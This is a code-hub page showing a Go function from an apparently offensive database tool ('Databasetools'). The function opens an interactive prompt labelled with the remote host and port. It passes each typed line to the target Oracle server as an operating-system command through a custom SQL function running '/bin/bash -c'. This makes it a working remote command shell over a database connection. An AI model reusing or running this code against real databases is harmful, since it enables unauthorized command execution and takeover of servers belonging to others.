MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / OracleXMLQueryConsole

Function OracleXMLQueryConsole

pac/oracl_xmlquery.go:34–56  ·  view source on GitHub ↗
(conn *sql.DB)

Source from the content-addressed store, hash-verified

32}
33
34func OracleXMLQueryConsole(conn *sql.DB) {
35 Info("执行系统命令")
36 OracleXMLQuery(conn)
37 reader := bufio.NewReader(os.Stdin)
38 for {
39 var cmd string
40 fmt.Printf("%s:%s> $ ", Rhost, Rport)
41 cmd, _ = reader.ReadString('\n')
42 cmd = strings.TrimRight(cmd, "\r\n")
43 if cmd == "exit" || cmd == "q" || cmd == "quit" {
44 break
45 }
46 resultSet, err := OracleCMD(fmt.Sprintf("select LinxRunCMD('/bin/bash -c /usr/bin/%s') from dual", cmd), conn)
47 for _, m := range resultSet {
48 for _, value := range m {
49 fmt.Println(fmt.Sprintf("%s", value))
50 }
51 }
52 if err != nil {
53 Err(err)
54 }
55 }
56}
57
58func OracleXMLQueryCMD(cmd string, conn *sql.DB) {
59 Info("执行系统命令")

Callers 1

HelpFunction · 0.85

Calls 4

InfoFunction · 0.85
OracleXMLQueryFunction · 0.85
OracleCMDFunction · 0.85
ErrFunction · 0.85

Tested by

no test coverage detected